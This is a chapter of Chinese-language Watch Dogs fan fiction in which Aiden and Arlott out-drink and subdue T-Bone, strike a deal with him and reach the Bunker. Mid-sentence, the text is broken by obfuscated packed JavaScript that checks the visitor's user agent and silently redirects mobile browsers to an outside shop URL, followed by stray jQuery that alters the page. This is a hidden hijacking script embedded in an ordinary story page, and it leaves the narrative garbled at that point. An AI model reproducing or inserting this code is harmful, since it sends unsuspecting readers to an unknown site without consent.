31.第 31 章
    “这不公平,”阿洛特拒绝,“虽然我觉得我应该也喝不过你,但你已经喝了这么多了。”他从艾登手里拿走了那个在空中跳舞的酒杯,放回桌上。几个空酒瓶歪倒在他们脚下。

    “来嘛,”T骨邀请他,“反正你都要把这个醉鬼拖回去,不如喝够了再把他拖回去。”

    “你就是想让我请你喝酒吧?”阿洛特说。

    “剩下的算我账上,”T骨坚持,“我还没尽兴。”

    “平时没什么人和你喝酒?”

    阿洛特把酒杯挪了过来。T骨立刻高兴地给他满上。

    “只是晚上没什么人出来。你看看这里,像是个繁华热闹的地方吗?大家到点就睡了,晚上还在外面游荡的,不是没有家庭,就是要干坏事。”

    艾登靠在座椅上嘀咕了两句反驳。阿洛特听清了他在说什么收拾坏蛋之类的话,不由得笑了一下。

    “你把我们三个全都骂进去了,不过我确实没有家庭。”

    “为什么?像你这个年纪的年轻人总该有约会对象吧。”

    酒度数很高。阿洛特刚喝过一杯,就立刻明白了为什么在他记忆中酒量很好的艾登也被放倒了。那几乎直接是基酒,平时阿洛特还要配上柠檬和白盐才能喝得下去。

    “…我没有约会对象,”阿洛特有点恍惚,“我工作一直都很忙。”

    “真的?那你为什么深夜在这个鸟不拉屎的地方买醉?”

    阿洛特握着酒杯陷入沉默。这里是哪?他想了想,芝加哥,波尼。为什么他在这里?他是来干嘛的?

    “你连你在这里做什么都不知道?”

    T骨替他又倒上一杯。阿洛特盯着逐渐上涨的金色水面,目光飘忽不定地移到T骨的手腕上。那里有一个形状熟悉的皮革臂甲。这触发了阿洛特的记忆关键点,他忽然出手,握住了T骨的手腕,后者被他吓了一跳,基酒洒了一桌。

    “…找人。”阿洛特嘀咕。

    T骨看起来想骂脏话,但没骂。他谨慎地抽了抽手,没抽回来,阿洛特虽然意识模糊,但力度一点也没放松。“你在找谁?”

    “雷蒙…”一旁的艾登反应了一下,在T骨猛地看向他的杀人视线中补充了剩下的部分,“肯尼。”

    哗啦一声,突然暴起的T骨掀翻了桌子。酒杯和冰块飞溅而出,醉酒的阿洛特和艾登反应不及,被摔出酒馆。玻璃被他们撞碎一地,T骨踏过玻璃碎屑走出来,酒保在他身后高喊:“这个月第二扇!”

    “好啦,好啦。”

    T骨先摸走了阿洛特怀里的消音手枪,熟练地拆了子弹,丢到地上。

    “现在我可以给你们讲个笑话,醉鬼们。两个人竖着走进酒吧,横着出来。你猜为什么?”

    阿洛特趴在地上,没有动静。然而,T骨刚转过头,刚才还醉得不省人事的艾登已经晃晃悠悠地站起,抽出甩棍。几秒对峙,T骨右拳直接砸过去,艾登敏捷闪避,左肘窝狠狠夹住T骨刚打出的右臂把他绑在身前。甩棍迅速插进两人之间的空隙,艾登左右手同时施力,借着体重把T骨压得不得不蹲下。

    “你好啊,雷。”

    “我都说了——小点声!”

    T骨猝然掏出□□,就要往艾登腿上捅去。蓝紫色的电流嗡鸣着,眼看就要放倒艾登,忽然一只小型暗器力道猛烈地打落了□□。

    “关于你刚才说的那个笑话,也许是因为某人觉得自己酒量够好。”

    阿洛特爬了起来,捡走地上的□□和暗器。T骨骂了一声,“该死的。刚才是谁说的和公平有关的话?嗯?”

    “我突然觉得输赢更重要。”阿洛特把M1911拼了回去,插回身侧,“现在是你输了,雷,是吧?你付账单。”

    “啥?”

    “你得为玻璃付钱,”艾登在他耳边低沉地说,“而且你还会帮我一个力所能及的小忙。我相信我们能在一段和平的对话后达成共识,雷,你可以选个地方。现在我会慢慢松开你,你不乱动,我和我的朋友也不乱动。怎么样?”

    阿洛特瞧了艾登一眼,意识到眼前这个被叫做“雷”的T骨正好是艾登要找的人。但他没有在此刻作声,只是对着他俩抱起手臂,以示自己不会乱动。

    T骨怀疑地打量了他俩一圈,不情不愿地点了下头。艾登慢慢地松开他,T骨自己站了起来,活动了一下肩颈部分。

    “很好,”他说,“你们害我泄漏了踪迹,现在还要我帮你们一个‘力所能及的小忙’。我真是乐意为你们效劳。”

    “这是个意外,信不信由你,”艾登收起甩棍,“我们只是走进了波尼的唯一一家酒吧,然后接受了你的游戏。”

    “那可真是个超级大惊喜。”T骨很显然没相信,“走吧,我们换个地方。”

    T骨的藏身处,废弃物品回收站。这里太黑,又到处都是障碍物,艾登不动声色地把手伸进了口袋里。正在他准备开启ctOS扫描时,身后的阿洛特吹了声口哨,“这地方真酷。”

    “我也这么觉得,”走在最前面的T骨回头,“但我不觉得你能在这么黑的情况下看清它的全貌。你应该白天再欣赏它。”

    “信不信由你,”阿洛特说,“天再黑我也看得清东西。”

    “所以你也是个黑客。”T骨说,“你呢,甩棍小哥?”

    他们走进室内。电视开着,T骨一抬头,看见芝加哥新闻速报里正在被通缉的那张脸。艾登·皮尔斯。

    “那是你?”

    T骨打量了一下艾登和电视,脸色不怎么好看。

    “那是我,”艾登走上台阶,“我确实是他们正在悬赏的私法制裁者。但我看不出这和我们将要发生的谈话有什么关系。”

    “啊,当然了,我们都是通缉犯,所以我们就会成为好朋友。”T骨嘲笑,“听着,你们最好给我个出手的理由,因为在你们之后,绝对还有更多收尾人闻着味道找过来。”

    艾登把双手藏进了口袋里。他垂下眼,夹克

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993247|145032||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    翻起的立领掩住了他的一部分面孔。

    “有人想杀我,但没有成功。”

    “哈,看得出来。”

    “但他错杀了我只有六岁的侄女。”

    T骨不说话了。他皱眉的方式发生了轻微的变化,从一种充满敌意的不悦过渡成另一种混合了不喜的不悦,而那种不喜更多的针对这件惨剧,而不是他眼前正在讲述的通缉犯。他移开目光,看了眼阿洛特,后者也正以相似的方式皱着眉,但不同的是,红发青年丝毫没有遮掩他自然流露的关怀神情。

    “那份资料能替我指明究竟是谁下的命令,”艾登直视T骨,“所以我需要你解密。我也可以想别的办法,但如果有你帮助,这件事会更容易达成。”

    “如果你认为我会被这种悲情理由打动,你就错了。”T骨的语气缓和了一些,“但我们可以做个交易。”

    T骨要求艾登和阿洛特帮助删除他在ctOS的生物识别信息,只有这样,他才能回到芝加哥,同时免遭被识别。艾登接受了这个条件,而阿洛特对此没有意见;他当然不会有意见,因为T骨顺便把他的信息也删了。费劲周折达成目的后,他们终于启程回到芝加哥。

    “我简直不敢想象我们居然做成了这件事,”T骨在后座开了瓶酒,“如果早几年认识,我们能成就怎样的伟业啊!”

    “我赞同你的说法,”阿洛特从副驾驶回过头,“不过我建议你别在车上喝酒,真的。”

    “为什么?开车的又不是我。”

    “正是因为开车的不是你。”阿洛特系上安全带,“是艾登·皮尔斯。”

    艾登对此的回应是一脚踩下油门。T骨拼酒多年屡战屡胜,终于在今天体会到怎么也拿不稳酒瓶是什么样的感受。在他的高声喊叫中,阿洛特的放声大笑中,艾登的嘴角也翘了起来。

    高纯度威士忌洒了一车,而这辆被临时“借用”的肌肉车就在这浓郁的酒精气味中冲出黑暗的隧道,闯过尚未醒转的帕尼街区,一个摆尾险之又险地急停在芝加哥河边。通往对岸的桥梁缓缓转向他们,艾登总算放慢车速,驶入与世隔绝的岛上荒废建筑区。

    但它还有另一个名字,以都市传闻为所有黑客熟知——堡垒。布鲁姆曾在这里测试ctOS,它无法被查找,无法被黑入,至少从设计上来说是这样。

    “好酷哦。”阿洛特感叹。

    “上次我听说的时候,它几乎都要成为一个数据坟墓了,”T骨对艾登说,“你唤醒了它?”

    艾登对此不置可否。堡垒的进入方式是一个会移动的集装箱,他点了点手机屏幕,集装箱打开门又关上。通过透明的玻璃侧面,他们可以看到集装箱升起又平移,进入一片黑暗之中。门再打开时,他们已经抵达秘密基地。真正的堡垒。数块屏幕拼成一整面墙,到处都是存满数据的机箱,在黑暗中,显示屏散发出幽幽的光;整座城市的信息量在黑客指尖流淌。

    “让我们大展身手吧!”T骨迫不及待地宣布。